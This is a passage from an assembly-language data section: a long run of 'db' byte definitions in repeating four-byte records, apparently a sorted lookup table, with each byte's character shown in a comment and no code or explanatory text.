		db  80h	; ─
		db  40h	; @
		db    2	;  
		db 0C7h	; г
		db  8Dh	; █
		db  7Eh	; ~
		db 0CAh	; й
		db 0C7h	; г
		db  8Dh	; █
		db  7Eh	; ~
		db 0CEh	; н
		db 0C7h	; г
		db 0A5h	; ╔
		db  92h	; ▓
		db  23h	; #
		db 0C7h	; г
		db 0A5h	; ╔
		db  92h	; ▓
		db  24h	; $
		db 0C7h	; г
		db 0A5h	; ╔
		db  98h	; ≤
		db  0Ch	;  
		db 0C7h	; г
		db 0A5h	; ╔
		db  98h	; ≤
		db    2	;  
		db 0C7h	; г
		db 0A6h	; і
		db 0C4h	; д
		db  2Ch	; ,
		db 0C7h	; г
		db 0A6h	; і
		db 0D2h	; р
		db    5	;  
		db 0C7h	; г
		db 0A6h	; і
		db 0E3h	; Ц
		db    1	;  
		db 0C7h	; г
		db 0A6h	; і
		db 0E3h	; Ц
		db    5	;  
		db 0C7h	; г
		db 0A6h	; і
		db 0FEh	; Ч
		db 0FEh	; Ч
		db 0C7h	; г
		db 0A6h	; і
		db 0FEh	; Ч
		db    4	;  
		db 0C7h	; г
		db  11h	;  
		db 0FFh	;  
		db    1	;  
		db 0C7h	; г
		db 0AAh	; ╙
		db  79h	; y
		db    2	;  
		db 0C7h	; г
		db 0ABh	; ╚
		db  10h	;  
		db  64h	; d
		db 0C7h	; г
		db 0ABh	; ╚
		db  10h	;  
		db    2	;  
		db 0C7h	; г
		db 0ABh	; ╚
		db 0A7h	; ї
		db    2	;  
		db 0C7h	; г
		db 0ABh	; ╚
		db 0A7h	; ї
		db    4	;  
		db 0C7h	; г
		db 0ABh	; ╚
		db  37h	; 7
		db  1Eh	;  
		db 0C7h	; г
		db 0ACh	; ╛
		db 0A9h	; ╘
		db  10h	;  
		db 0C7h	; г
		db 0AFh	; ╞
		db  89h	; ┴
		db 0EDh	; М
		db 0C7h	; г
		db 0AFh	; ╞
		db  89h	; ┴
		db 0FDh	; Щ
		db 0C7h	; г
		db 0B5h	; ╣
		db 0EAh	; Й
		db    6	;  
		db 0C7h	; г
		db 0B7h	; Ї
		db    9	;  
		db    2	;  
		db 0C7h	; г
		db 0B7h	; Ї
		db    9	;  
		db    4	;  
		db 0C7h	; г
		db 0B7h	; Ї
		db    9	;  
		db    5	;  
		db 0C7h	; г
		db 0B8h	; ╦
		db  77h	; w
		db    1	;  
		db 0C7h	; г
		db 0B8h	; ╦
		db  77h	; w
		db  14h	;  
		db 0C7h	; г
		db 0BEh	; Ў
		db  80h	; ─
		db  0Ah	;  
		db 0C7h	; г
		db 0BEh	; Ў
		db  41h	; A
		db    3	;  
		db 0C7h	; г
		db 0BEh	; Ў
		db  49h	; I
		db    2	;  
		db 0C7h	; г
		db 0BFh	; ©
		db  80h	; ─
		db  69h	; i
		db 0C7h	; г
		db 0BFh	; ©
		db  80h	; ─
		db  6Ah	; j
		db 0C7h	; г
		db 0BFh	; ©
		db  80h	; ─
		db  2Bh	; +
		db 0C7h	; г
		db 0BFh	; ©
		db  81h	; │
		db  8Bh	; ▀
		db 0C7h	; г
		db 0BFh	; ©
		db  90h	; ░
		db  4Bh	; K
		db 0C7h	; г
		db 0BFh	; ©
		db  91h	; ▒
		db  88h	; ┬
		db 0C7h	; г
		db 0C7h	; г
		db 0DCh	; э
		db    2	;  
		db 0C7h	; г
		db 0C7h	; г
		db 0DCh	; э
		db    5	;  
		db 0C7h	; г
		db    2	;  
		db 0FCh	; Э
		db  0Ah	;  
		db 0C7h	; г
		db 0C9h	; и
		db  80h	; ─
		db    2	;  
		db 0C7h	; г
		db 0C9h	; и
		db 0C0h	; ю
		db  0Fh	;  
		db 0C7h	; г
		db 0CAh	; й
		db  75h	; u
		db  76h	; v
		db 0C7h	; г
		db 0CAh	; й
		db  37h	; 7
		db  0Ah	;  
		db 0C7h	; г
		db 0CAh	; й
		db  37h	; 7
		db    2	;  
		db 0C7h	; г
		db 0CAh	; й
		db  49h	; I
		db  23h	; #
		db 0C7h	; г
		db 0CBh	; к
		db    1	;  
		db  14h	;  
		db 0C7h	; г
		db 0D0h	; п
		db  9Dh	; ²
		db  23h	; #
		db 0C7h	; г
		db 0D0h	; п
		db 0ACh	; ╛
		db  82h	; ┌
		db 0C7h	; г
		db 0D1h	; я
		db  26h	; &
		db 0C8h	; х
		db 0C7h	; г
		db 0D3h	; с
		db  95h	; ∙
		db    9	;  
		db 0C7h	; г
		db 0D3h	; с
		db 0D7h	; в
		db  42h	; B
		db 0C7h	; г
		db 0D3h	; с
		db 0E1h	; А
		db 0C1h	; а
		db 0C7h	; г
		db 0D3h	; с
		db  53h	; S
		db 0C4h	; д
		db 0C7h	; г
		db 0D3h	; с
		db  53h	; S
		db 0CFh	; о
		db 0C7h	; г
		db 0D4h	; т
		db  79h	; y
		db    4	;  
		db 0C7h	; г
		db 0D4h	; т
		db  79h	; y
		db    9	;  
		db 0C7h	; г
		db 0D4h	; т
		db  86h	; ├
		db    1	;  
		db 0C7h	; г
		db 0D4h	; т
		db  86h	; ├
		db    2	;  
		db 0C7h	; г
		db 0D4h	; т
		db  11h	;  
		db  22h	; "
		db 0C7h	; г
		db 0D4h	; т
		db  11h	;  
		db  23h	; #
		db 0C7h	; г
		db 0D4h	; т
		db 0E5h	; Е
		db    3	;  
		db 0C7h	; г
		db 0D4h	; т
		db  2Dh	; -
		db 0FCh	; Э
		db 0C7h	; г
		db 0D9h	; ы
		db 0FDh	; Щ
		db  0Ah	;  
		db 0C7h	; г
		db 0DAh	; з
		db  71h	; q
		db    2	;  
		db 0C7h	; г
		db 0DAh	; з
		db  71h	; q
		db  14h	;  
		db 0C7h	; г
		db 0DAh	; з
		db 0FEh	; Ч
		db  98h	; ≤
		db 0C7h	; г
		db 0DAh	; з
		db 0FEh	; Ч
		db  5Ah	; Z
		db 0C7h	; г
		db  16h	;  
		db  38h	; 8
		db 0C8h	; х
		db 0C7h	; г
		db  16h	;  
		db  39h	; 9
		db 0C8h	; х
		db 0C7h	; г
		db 0DDh	; щ
		db  2Fh	; /
		db    7	;  
		db 0C7h	; г
		db 0DDh	; щ
		db  2Fh	; /
		db    8	;  
		db 0C7h	; г
		db 0DDh	; щ
		db  62h	; b
		db    5	;  
		db 0C7h	; г
		db 0DEh	; ч
		db 0B7h	; Ї
		db  53h	; S
		db 0C7h	; г
		db 0DEh	; ч
		db 0BEh	; Ў
		db  44h	; D
		db 0C7h	; г
		db 0DEh	; ч
		db    4	;  
		db  69h	; i
		db 0C7h	; г
		db 0DEh	; ч
		db    4	;  
		db    5	;  
		db 0C7h	; г
		db 0DEh	; ч
		db  35h	; 5
		db    2	;  
		db 0C7h	; г
		db 0DEh	; ч
		db  60h	; `
		db    7	;  
		db 0C7h	; г
		db 0E0h	; Ю
		db  0Ah	;  
		db    2	;  
		db 0C7h	; г
		db 0E4h	; Д
		db  8Eh	; ▌
		db  4Eh	; N
		db 0C7h	; г
		db 0E7h	; Г
		db  96h	; √
		db 0B0h	; ╟
		db 0C7h	; г
		db 0E8h	; Х
		db  29h	; )
		db 0C2h	; б
		db 0C7h	; г
		db 0EEh	; Н
		db 0C8h	; х
		db  73h	; s
		db 0C7h	; г
		db 0F0h	; П
		db  82h	; ┌
		db  13h	;  
		db 0C7h	; г
		db 0F0h	; П
		db  82h	; ┌
		db  14h	;  
		db 0C7h	; г
		db 0F2h	; Р
		db 0CEh	; н
		db    1	;  
		db 0C7h	; г
		db 0F3h	; С
		db 0E1h	; А
		db  0Ah	;  
		db 0C7h	; г
		db 0F3h	; С
		db 0E1h	; А
		db  0Bh	;  
		db 0C7h	; г
		db 0F3h	; С
		db 0F2h	; Р
		db    2	;  
		db 0C7h	; г
		db 0F9h	; Ы
		db  12h	;  
		db    1	;  
		db 0C7h	; г
		db 0F9h	; Ы
		db  13h	;  
		db    1	;  
		db 0C7h	; г
		db 0FAh	; З
		db  0Dh	;  
		db  66h	; f
		db 0C7h	; г
		db 0FAh	; З
		db  15h	;  
		db  14h	;  
		db 0C7h	; г
		db 0FAh	; З
		db    8	;  
		db 0C3h	; ц
		db 0C7h	; г
		db 0FCh	; Э
		db  9Ah	;  
		db 0FBh	; Ш
		db 0C7h	; г
		db 0FCh	; Э
		db 0A2h	; ╒
		db 0FBh	; Ш
		db 0C7h	; г
		db 0FCh	; Э
		db 0B4h	; Є
		db 0FBh	; Ш
		db 0C7h	; г
		db 0FEh	; Ч
		db  94h	; ■
		db  29h	; )
		db 0C7h	; г
		db 0FEh	; Ч
		db  94h	; ■
		db  2Ah	; *
		db 0C7h	; г
		db 0FEh	; Ч
		db  9Dh	; ²
		db  28h	; (
		db 0C7h	; г
		db 0FEh	; Ч
		db 0EFh	; О
		db 0BDh	; Ґ
		db 0C7h	; г
		db  1Ah	;  
		db 0CAh	; й
		db  64h	; d
		db 0C7h	; г
		db  1Dh	;  
		db  84h	; └
		db    2	;  
		db 0C7h	; г
		db  1Fh	;  
		db    3	;  
		db  28h	; (
		db 0C7h	; г
		db  21h	; !
		db 0A1h	; ║
		db 0D2h	; р
		db 0C7h	; г
		db  22h	; "
		db  10h	;  
		db    2	;  
		db 0C7h	; г
		db  22h	; "
		db  10h	;  
		db    5	;  
		db 0C7h	; г
		db  29h	; )
		db 0FEh	; Ч
		db 0A6h	; і
		db 0C7h	; г
		db  2Ch	; ,
		db    2	;  
		db  0Ah	;  
		db 0C7h	; г
		db  2Ch	; ,
		db  2Eh	; .
		db    4	;  
		db 0C7h	; г
		db  2Ch	; ,
		db  2Eh	; .
		db    5	;  
		db 0C7h	; г
		db  2Ch	; ,
		db    9	;  
		db  62h	; b
		db 0C7h	; г
		db  2Dh	; -
		db    1	;  
		db  14h	;  
		db 0C7h	; г
		db  2Dh	; -
		db  0Bh	;  
		db  14h	;  
		db 0C7h	; г
		db  2Dh	; -
		db  8Dh	; █
		db    1	;  
		db 0C7h	; г
		db  2Dh	; -
		db  92h	; ▓
		db    1	;  
		db 0C7h	; г
		db  2Dh	; -
		db 0FFh	;  
		db    1	;  
		db 0C7h	; г
		db  2Dh	; -
		db  20h	;  
		db  25h	; %
		db 0C7h	; г
		db  2Dh	; -
		db  20h	;  
		db  26h	; &
		db 0C7h	; г
		db  2Dh	; -
		db  2Dh	; -
		db  0Eh	;  
		db 0C7h	; г
		db  2Eh	; .
		db 0C6h	; ф
		db  41h	; A
		db 0C7h	; г
		db  2Eh	; .
		db 0C7h	; г
		db  41h	; A
		db 0C7h	; г
		db  2Eh	; .
		db 0C8h	; х
		db  41h	; A
		db 0C7h	; г
		db    5	;  
		db 0AFh	; ╞
		db  14h	;  
		db 0C7h	; г
		db    5	;  
		db 0AFh	; ╞
		db  15h	;  
		db 0C7h	; г
		db  32h	; 2
		db  1Ah	;  
		db  0Bh	;  
		db 0C7h	; г
		db  3Ch	; <
		db  76h	; v
		db    2	;  
		db 0C7h	; г
		db  3Ch	; <
		db 0EDh	; М
		db    1	;  
		db 0C7h	; г
		db  3Ch	; <
		db 0EDh	; М
		db    2	;  
		db 0C7h	; г
		db  48h	; H
		db    1	;  
		db    1	;  
		db 0C7h	; г
		db  4Fh	; O
		db 0B3h	; Ё
		db  64h	; d
		db 0C7h	; г
		db  4Fh	; O
		db 0B3h	; Ё
		db 0C8h	; х
		db 0C7h	; г
		db  51h	; Q
		db 0C1h	; а
		db  64h	; d
		db 0C7h	; г
		db  51h	; Q
		db 0C3h	; ц
		db    8	;  
		db 0C7h	; г
		db  54h	; T
		db  9Ah	;  
		db  41h	; A
		db 0C7h	; г
		db  54h	; T
		db 0F2h	; Р
		db  16h	;  
		db 0C7h	; г
		db  54h	; T
		db  36h	; 6
		db  2Ch	; ,
		db 0C7h	; г
		db  58h	; X
		db 0EAh	; Й
		db  7Dh	; }
		db 0C7h	; г
		db  58h	; X
		db 0EAh	; Й
		db  3Dh	; =
		db 0C7h	; г
		db  59h	; Y
		db  40h	; @
		db  47h	; G
		db 0C7h	; г
		db  59h	; Y
		db  40h	; @
		db  48h	; H
		db 0C7h	; г
		db  5Bh	; [
		db  21h	; !
		db  14h	;  
		db 0C7h	; г
		db  5Bh	; [
		db  24h	; $
		db  14h	;  
		db 0C7h	; г
		db  5Eh	; ^
		db  61h	; a
		db  33h	; 3
		db 0C7h	; г
		db  62h	; b
		db 0B0h	; ╟
		db  82h	; ┌
		db 0C7h	; г
		db  62h	; b
		db 0B0h	; ╟
		db  83h	; ┐
		db 0C7h	; г
		db  63h	; c
		db 0B2h	; ╡
		db 0FAh	; З
		db 0C8h	; х
		db    0	;  
		db 0C1h	; а
		db  62h	; b
		db 0C8h	; х
		db    0	;  
		db 0C2h	; б
		db  2Eh	; .
		db 0C8h	; х
		db    0	;  
		db 0E0h	; Ю
		db    2	;  
		db 0C8h	; х
		db    1	;  
		db 0ABh	; ╚
		db  81h	; │
		db 0C8h	; х
		db  0Ah	;  
		db 0CAh	; й
		db    3	;  
		db 0C8h	; х
		db  0Ah	;  
		db 0CAh	; й
		db    4	;  
		db 0C8h	; х
		db  83h	; ┐
		db    1	;  
		db  33h	; 3
		db 0C8h	; х
		db  87h	; ┤
		db    0	;  
		db    3	;  
		db 0C8h	; х
		db  10h	;  
		db  61h	; a
		db  11h	;  
		db 0C8h	; х
		db  10h	;  
		db  62h	; b
		db    2	;  
		db 0C8h	; х
		db  13h	;  
		db  77h	; w
		db  7Dh	; }
		db 0C8h	; х
		db  13h	;  
		db  77h	; w
		db  63h	; c
		db 0C8h	; х
		db  15h	;  
		db 0C8h	; х
		db    2	;  
		db 0C8h	; х
		db  15h	;  
		db  40h	; @
		db    2	;  
		db 0C8h	; х
		db  17h	;  
		db    1	;  
		db    1	;  
		db 0C8h	; х
		db  17h	;  
		db 0F2h	; Р
		db 0C1h	; а
		db 0C8h	; х
		db 0FFh	;  
		db 0FDh	; Щ
		db 0EAh	; Й
		db 0C8h	; х
		db  1Bh	;  
		db    2	;  
		db    2	;  
		db 0C8h	; х
		db  1Bh	;  
		db    2	;  
		db    7	;  
		db 0C8h	; х
		db  1Ch	;  
		db 0D8h	; ь
		db    1	;  
		db 0C8h	; х
		db  1Ch	;  
		db 0D8h	; ь
		db    2	;  
		db 0C8h	; х
		db  1Dh	;  
		db  28h	; (
		db  15h	;  
		db 0C8h	; х
		db  1Dh	;  
		db  28h	; (
		db  16h	;  
		db 0C8h	; х
		db  1Eh	;  
		db  24h	; $
		db    8	;  
		db 0C8h	; х
		db  1Fh	;  
		db    7	;  
		db    2	;  
		db 0C8h	; х
		db  1Fh	;  
		db    7	;  
		db    8	;  
		db 0C8h	; х
		db  21h	; !
		db  92h	; ▓
		db 0D5h	; у
		db 0C8h	; х
		db  21h	; !
		db  96h	; √
		db 0C1h	; а
		db 0C8h	; х
		db  21h	; !
		db 0D1h	; я
		db  42h	; B
		db 0C8h	; х
		db  21h	; !
		db 0D5h	; у
		db  42h	; B
		db 0C8h	; х
		db  2Ch	; ,
		db  20h	;  
		db  0Bh	;  
		db 0C8h	; х
		db  2Ch	; ,
		db  20h	;  
		db  0Dh	;  
		db 0C8h	; х
		db  2Dh	; -
		db    0	;  
		db  73h	; s
		db 0C8h	; х
		db  2Dh	; -
		db    0	;  
		db  74h	; t
		db 0C8h	; х
		db  36h	; 6
		db    0	;  
		db  0Ah	;  
		db 0C8h	; х
		db  36h	; 6
		db    0	;  
		db  8Ah	; ┼
		db 0C8h	; х
		db  3Eh	; >
		db    3	;  
		db    3	;  
		db 0C8h	; х
		db    9	;  
		db 0D4h	; т
		db    3	;  
		db 0C8h	; х
		db    9	;  
		db 0F4h	; Т
		db    4	;  
		db 0C8h	; х
		db    9	;  
		db 0F4h	; Т
		db    6	;  
		db 0CAh	; й
		db    0	;  
		db 0B8h	; ╦
		db  0Ah	;  
		db 0CAh	; й
		db    0	;  
		db 0B8h	; ╦
		db    5	;  
		db 0CAh	; й
		db    1	;  
		db  34h	; 4
		db  2Ch	; ,
		db 0CAh	; й
		db    1	;  
		db  34h	; 4
		db  2Dh	; -
		db 0CAh	; й
		db  65h	; e
		db  62h	; b
		db  36h	; 6
		db 0CAh	; й
		db  65h	; e
		db  62h	; b
		db  37h	; 7
		db 0CAh	; й
		db  66h	; f
		db  0Fh	;  
		db 0A2h	; ╒
		db 0CAh	; й
		db  66h	; f
		db  1Dh	;  
		db    3	;  
		db 0CAh	; й
		db  6Ah	; j
		db  94h	; ■
		db    1	;  
		db 0CAh	; й
		db  6Ah	; j
		db  94h	; ■
		db    9	;  
		db 0CAh	; й
		db  6Ah	; j
		db 0C4h	; д
		db  1Ch	;  
		db 0CAh	; й
		db  0Bh	;  
		db    0	;  
		db    1	;  
		db 0CAh	; й
		db  0Bh	;  
		db    0	;  
		db    2	;  
		db 0CAh	; й
		db  0Bh	;  
		db  64h	; d
		db    1	;  
		db 0CAh	; й
		db  0Bh	;  
		db  64h	; d
		db    3	;  
		db 0CAh	; й
		db  0Bh	;  
		db  68h	; h
		db    1	;  
		db 0CAh	; й
		db  0Bh	;  
		db  0Ch	;  
		db  43h	; C
		db 0CAh	; й
		db  0Bh	;  
		db  78h	; x
		db 0C8h	; х
		db 0CAh	; й
		db  0Bh	;  
		db  78h	; x
		db 0C9h	; и
		db 0CAh	; й
		db  0Bh	;  
		db  8Ah	; ┼
		db  60h	; `
		db 0CAh	; й
		db  0Bh	;  
		db 0A0h	; ═
		db  81h	; │
		db 0CAh	; й
		db  0Bh	;  
		db 0A4h	; є
		db  85h	; ┘
		db 0CAh	; й
		db  0Bh	;  
		db 0A4h	; є
		db  3Ch	; <
		db 0CAh	; й
		db  0Bh	;  
		db 0A7h	; ї
		db  14h	;  
		db 0CAh	; й
		db  0Bh	;  
		db 0A9h	; ╘
		db    2	;  
		db 0CAh	; й
		db  0Bh	;  
		db 0A9h	; ╘
		db    4	;  
		db 0CAh	; й
		db  0Bh	;  
		db 0B8h	; ╦
		db    1	;  
		db 0CAh	; й
		db  0Bh	;  
		db 0B8h	; ╦
		db    3	;  
		db 0CAh	; й
		db  0Bh	;  
		db 0C0h	; ю
		db  0Ah	;  
		db 0CAh	; й
		db  0Bh	;  
		db 0C3h	; ц
		db  0Ah	;  
		db 0CAh	; й
		db  0Bh	;  
		db 0C7h	; г
		db  0Bh	;  
		db 0CAh	; й
		db  0Bh	;  
		db 0C8h	; х
		db    2	;  
		db 0CAh	; й
		db  0Bh	;  
		db 0C9h	; и
		db  0Bh	;  
		db 0CAh	; й
		db  0Bh	;  
		db 0CBh	; к
		db  0Bh	;  
		db 0CAh	; й
		db  0Bh	;  
		db 0D4h	; т
		db    1	;  
		db 0CAh	; й
		db  0Bh	;  
		db 0D6h	; ж
		db  22h	; "
		db 0CAh	; й
		db  0Bh	;  
		db 0D8h	; ь
		db 0C2h	; б
		db 0CAh	; й
		db  0Bh	;  
		db 0E3h	; Ц
		db  11h	;  
		db 0CAh	; й
		db  0Bh	;  
		db 0FCh	; Э
		db    2	;  
		db 0CAh	; й
		db  70h	; p
		db    0	;  
		db  21h	; !
		db 0CAh	; й
		db  70h	; p
		db    0	;  
		db  22h	; "
		db 0CAh	; й
		db  70h	; p
		db    0	;  
		db  23h	; #
		db 0CAh	; й
		db  70h	; p
		db  0Bh	;  
		db  82h	; ┌
		db 0CAh	; й
		db  70h	; p
		db  0Eh	;  
		db 0A1h	; ║
		db 0CAh	; й
		db  70h	; p
		db  11h	;  
		db  21h	; !
		db 0CAh	; й
		db  70h	; p
		db  14h	;  
		db  83h	; ┐
		db 0CAh	; й
		db  70h	; p
		db  17h	;  
		db 0A1h	; ║
		db 0CAh	; й
		db  70h	; p
		db  17h	;  
		db 0A2h	; ╒
		db 0CAh	; й
		db  70h	; p
		db  1Ah	;  
		db  22h	; "
		db 0CAh	; й
		db  70h	; p
		db  1Dh	;  
		db  55h	; U
		db 0CAh	; й
		db  70h	; p
		db  1Dh	;  
		db  57h	; W
		db 0CAh	; й
		db  0Ch	;  
		db  90h	; ░
		db  0Ah	;  
		db 0CAh	; й
		db  0Ch	;  
		db  90h	; ░
		db  0Bh	;  
		db 0CAh	; й
		db  0Ch	;  
		db  1Ch	;  
		db  83h	; ┐
		db 0CAh	; й
		db  0Ch	;  
		db  1Eh	;  
		db  83h	; ┐
		db 0CAh	; й
		db  0Ch	;  
		db  5Dh	; ]
		db 0FEh	; Ч
		db 0CAh	; й
		db  80h	; ─
		db    0	;  
		db    2	;  
		db 0CAh	; й
		db  80h	; ─
		db    7	;  
		db    1	;  
		db 0CAh	; й
		db  0Dh	;  
		db 0D1h	; я
		db  0Eh	;  
		db 0CAh	; й
		db  82h	; ┌
		db 0A4h	; є
		db    1	;  
		db 0CAh	; й
		db  82h	; ┌
		db 0A4h	; є
		db    2	;  
		db 0CAh	; й
		db  83h	; ┐
		db  68h	; h
		db    2	;  
		db 0CAh	; й
		db  83h	; ┐
		db  90h	; ░
		db  1Bh	;  
		db 0CAh	; й
		db  84h	; └
		db 0FFh	;  
		db 0BCh	; ╪
		db 0CAh	; й
		db  84h	; └
		db 0FFh	;  
		db 0BDh	; Ґ
		db 0CAh	; й
		db  87h	; ┤
		db 0BCh	; ╪
		db  0Ah	;  
		db 0CAh	; й
		db  87h	; ┤
		db 0BCh	; ╪
		db  0Bh	;  
		db 0CAh	; й
		db  8Bh	; ▀
		db  53h	; S
		db    3	;  
		db 0CAh	; й
		db  0Eh	;  
		db 0B1h	; ╠
		db    1	;  
		db 0CAh	; й
		db  0Eh	;  
		db 0DDh	; щ
		db 0FEh	; Ч
		db 0CAh	; й
		db  0Eh	;  
		db  43h	; C
		db  0Eh	;  
		db 0CAh	; й
		db  0Eh	;  
		db  43h	; C
		db    4	;  
		db 0CAh	; й
		db  8Dh	; █
		db    1	;  
		db  83h	; ┐
		db 0CAh	; й
		db  8Dh	; █
		db  96h	; √
		db  12h	;  
		db 0CAh	; й
		db  8Dh	; █
		db  18h	;  
		db    2	;  
		db 0CAh	; й
		db  8Dh	; █
		db  28h	; (
		db  1Ch	;  
		db 0CAh	; й
		db  90h	; ░
		db  0Ah	;  
		db  32h	; 2
		db 0CAh	; й
		db  90h	; ░
		db  0Dh	;  
		db  32h	; 2
		db 0CAh	; й
		db  91h	; ▒
		db  8Ah	; ┼
		db 0C8h	; х
		db 0CAh	; й
		db  0Fh	;  
		db  70h	; p
		db  22h	; "
		db 0CAh	; й
		db  0Fh	;  
		db  27h	; '
		db  0Ch	;  
		db 0CAh	; й
		db  97h	; ≈
		db  57h	; W
		db  12h	;  
		db 0CAh	; й
		db  97h	; ≈
		db  58h	; X
		db  1Eh	;  
		db 0CAh	; й
		db 0A0h	; ═
		db    8	;  
		db    2	;  
		db 0CAh	; й
		db 0A1h	; ║
		db  7Ch	; |
		db    1	;  
		db 0CAh	; й
		db 0A1h	; ║
		db  7Ch	; |
		db    2	;  
		db 0CAh	; й
		db 0ABh	; ╚
		db  40h	; @
		db    9	;  
		db 0CAh	; й
		db 0B2h	; ╡
		db 0F4h	; Т
		db 0CFh	; о
		db 0CAh	; й
		db 0B2h	; ╡
		db 0FFh	;  
		db  0Ah	;  
		db 0CAh	; й
		db 0B5h	; ╣
		db 0E0h	; Ю
		db    2	;  
		db 0CAh	; й
		db 0B5h	; ╣
		db 0E0h	; Ю
		db    3	;  
		db 0CAh	; й
		db 0B5h	; ╣
		db 0EAh	; Й
		db 0BDh	; Ґ
		db 0CAh	; й
		db 0B5h	; ╣
		db 0EAh	; Й
		db 0BEh	; Ў
		db 0CAh	; й
		db 0B5h	; ╣
		db  20h	;  
		db    3	;  
		db 0CAh	; й
		db 0B5h	; ╣
		db  20h	;  
		db    6	;  
		db 0CAh	; й
		db 0B5h	; ╣
		db  40h	; @
		db  82h	; ┌
		db 0CAh	; й
		db 0B5h	; ╣
		db  40h	; @
		db 0C3h	; ц
		db 0CAh	; й
		db 0B7h	; Ї
		db 0CFh	; о
		db  16h	;  
		db 0CAh	; й
		db  13h	;  
		db  88h	; ┬
		db  14h	;  
		db 0CAh	; й
		db  14h	;  
		db  5Dh	; ]
		db  0Ah	;  
		db 0CAh	; й
		db 0C8h	; х
		db 0C8h	; х
		db    1	;  
		db 0CAh	; й
		db 0C9h	; и
		db    0	;  
		db  83h	; ┐
		db 0CAh	; й
		db 0C9h	; и
		db  6Ah	; j
		db    9	;  
		db 0CAh	; й
		db 0C9h	; и
		db  12h	;  
		db  15h	;  
		db 0CAh	; й
		db 0C9h	; и
		db 0FCh	; Э
		db    1	;  
		db 0CAh	; й
		db 0C9h	; и
		db  30h	; 0
		db    1	;  
		db 0CAh	; й
		db 0D0h	; п
		db 0E4h	; Д
		db  21h	; !
		db 0CAh	; й
		db 0D0h	; п
		db 0E4h	; Д
		db  22h	; "
		db 0CAh	; й
		db  15h	;  
		db  95h	; ∙
		db  21h	; !
		db 0CAh	; й
		db  15h	;  
		db  20h	;  
		db    1	;  
		db 0CAh	; й
		db  15h	;  
		db  20h	;  
		db    4	;  
		db 0CAh	; й
		db 0D3h	; с
		db    0	;  
		db  0Eh	;  
		db 0CAh	; й
		db 0D3h	; с
		db    1	;  
		db    2	;  
		db 0CAh	; й
		db 0D3h	; с
		db  0Ah	;  
		db  0Ah	;  
		db 0CAh	; й
		db 0D3h	; с
		db  68h	; h
		db    3	;  
		db 0CAh	; й
		db 0D3h	; с
		db  69h	; i
		db    2	;  
		db 0CAh	; й
		db 0D3h	; с
		db  0Ch	;  
		db    4	;  
		db 0CAh	; й
		db 0D3h	; с
		db  82h	; ┌
		db  36h	; 6
		db 0CAh	; й
		db 0D3h	; с
		db  82h	; ┌
		db  37h	; 7
		db 0CAh	; й
		db 0D3h	; с
		db  86h	; ├
		db  0Bh	;  
		db 0CAh	; й
		db 0D3h	; с
		db  8Bh	; ▀
		db  81h	; │
		db 0CAh	; й
		db 0D3h	; с
		db  0Eh	;  
		db    2	;  
		db 0CAh	; й
		db 0D3h	; с
		db  98h	; ≤
		db 0DDh	; щ
		db 0CAh	; й
		db 0D3h	; с
		db  9Ah	;  
		db  14h	;  
		db 0CAh	; й
		db 0D3h	; с
		db  10h	;  
		db 0F1h	; Я
		db 0CAh	; й
		db 0D3h	; с
		db  11h	;  
		db 0FDh	; Щ
		db 0CAh	; й
		db 0D3h	; с
		db  12h	;  
		db    2	;  
		db 0CAh	; й
		db 0D3h	; с
		db 0BAh	; ╨
		db  42h	; B
		db 0CAh	; й
		db 0D3h	; с
		db    2	;  
		db 0F1h	; Я
		db 0CAh	; й
		db 0D3h	; с
		db  14h	;  
		db    2	;  
		db 0CAh	; й
		db 0D3h	; с
		db 0D2h	; р
		db    2	;  
		db 0CAh	; й
		db 0D3h	; с
		db 0D2h	; р
		db    5	;  
		db 0CAh	; й
		db 0D3h	; с
		db 0DAh	; з
		db    2	;  
		db 0CAh	; й
		db 0D3h	; с
		db 0DEh	; ч
		db 0FDh	; Щ
		db 0CAh	; й
		db 0D3h	; с
		db 0E4h	; Д
		db  59h	; Y
		db 0CAh	; й
		db 0D3h	; с
		db  18h	;  
		db    3	;  
		db 0CAh	; й
		db 0D3h	; с
		db 0F6h	; Ж
		db  10h	;  
		db 0CAh	; й
		db 0D3h	; с
		db 0F7h	; В
		db    1	;  
		db 0CAh	; й
		db 0D3h	; с
		db  1Bh	;  
		db  20h	;  
		db 0CAh	; й
		db 0D3h	; с
		db  1Ch	;  
		db    2	;  
		db 0CAh	; й
		db 0D3h	; с
		db  1Eh	;  
		db    1	;  
		db 0CAh	; й
		db 0D3h	; с
		db  20h	;  
		db  46h	; F
		db 0CAh	; й
		db 0D3h	; с
		db  21h	; !
		db  49h	; I
		db 0CAh	; й
		db 0D3h	; с
		db  21h	; !
		db  50h	; P
		db 0CAh	; й
		db 0D3h	; с
		db    4	;  
		db    3	;  
		db 0CAh	; й
		db 0D3h	; с
		db  31h	; 1
		db  13h	;  
		db 0CAh	; й
		db 0D3h	; с
		db  32h	; 2
		db    1	;  
		db 0CAh	; й
		db 0D3h	; с
		db  38h	; 8
		db  46h	; F
		db 0CAh	; й
		db 0D3h	; с
		db  3Ah	; :
		db    3	;  
		db 0CAh	; й
		db 0D3h	; с
		db    6	;  
		db 0FCh	; Э
		db 0CAh	; й
		db 0D3h	; с
		db  40h	; @
		db  82h	; ┌
		db 0CAh	; й
		db 0D3h	; с
		db  42h	; B
		db    1	;  
		db 0CAh	; й
		db 0D4h	; т
		db  0Ah	;  
		db    1	;  
		db 0CAh	; й
		db 0D4h	; т
		db  0Ah	;  
		db    3	;  
		db 0CAh	; й
		db 0D5h	; у
		db 0C3h	; ц
		db    2	;  
		db 0CAh	; й
		db 0D6h	; ж
		db  95h	; ∙
		db  0Ah	;  
		db 0CAh	; й
		db 0D6h	; ж
		db  95h	; ∙
		db  0Bh	;  
		db 0CAh	; й
		db 0D6h	; ж
		db  2Dh	; -
		db  0Bh	;  
		db 0CAh	; й
		db 0D6h	; ж
		db  59h	; Y
		db  82h	; ┌
		db 0CAh	; й
		db 0D7h	; в
		db    1	;  
		db 0C1h	; а
		db 0CAh	; й
		db 0D8h	; ь
		db 0E0h	; Ю
		db  42h	; B
		db 0CAh	; й
		db 0D8h	; ь
		db 0E0h	; Ю
		db  43h	; C
		db 0CAh	; й
		db 0D9h	; ы
		db    0	;  
		db  1Eh	;  
		db 0CAh	; й
		db 0DBh	; ш
		db 0B1h	; ╠
		db  79h	; y
		db 0CAh	; й
		db 0DCh	; э
		db  80h	; ─
		db    2	;  
		db 0CAh	; й
		db 0DCh	; э
		db  8Ch	; ▄
		db    4	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  82h	; ┌
		db  83h	; ┐
		db 0CAh	; й
		db 0DDh	; щ
		db  84h	; └
		db 0FDh	; Щ
		db 0CAh	; й
		db 0DDh	; щ
		db  87h	; ┤
		db  42h	; B
		db 0CAh	; й
		db 0DDh	; щ
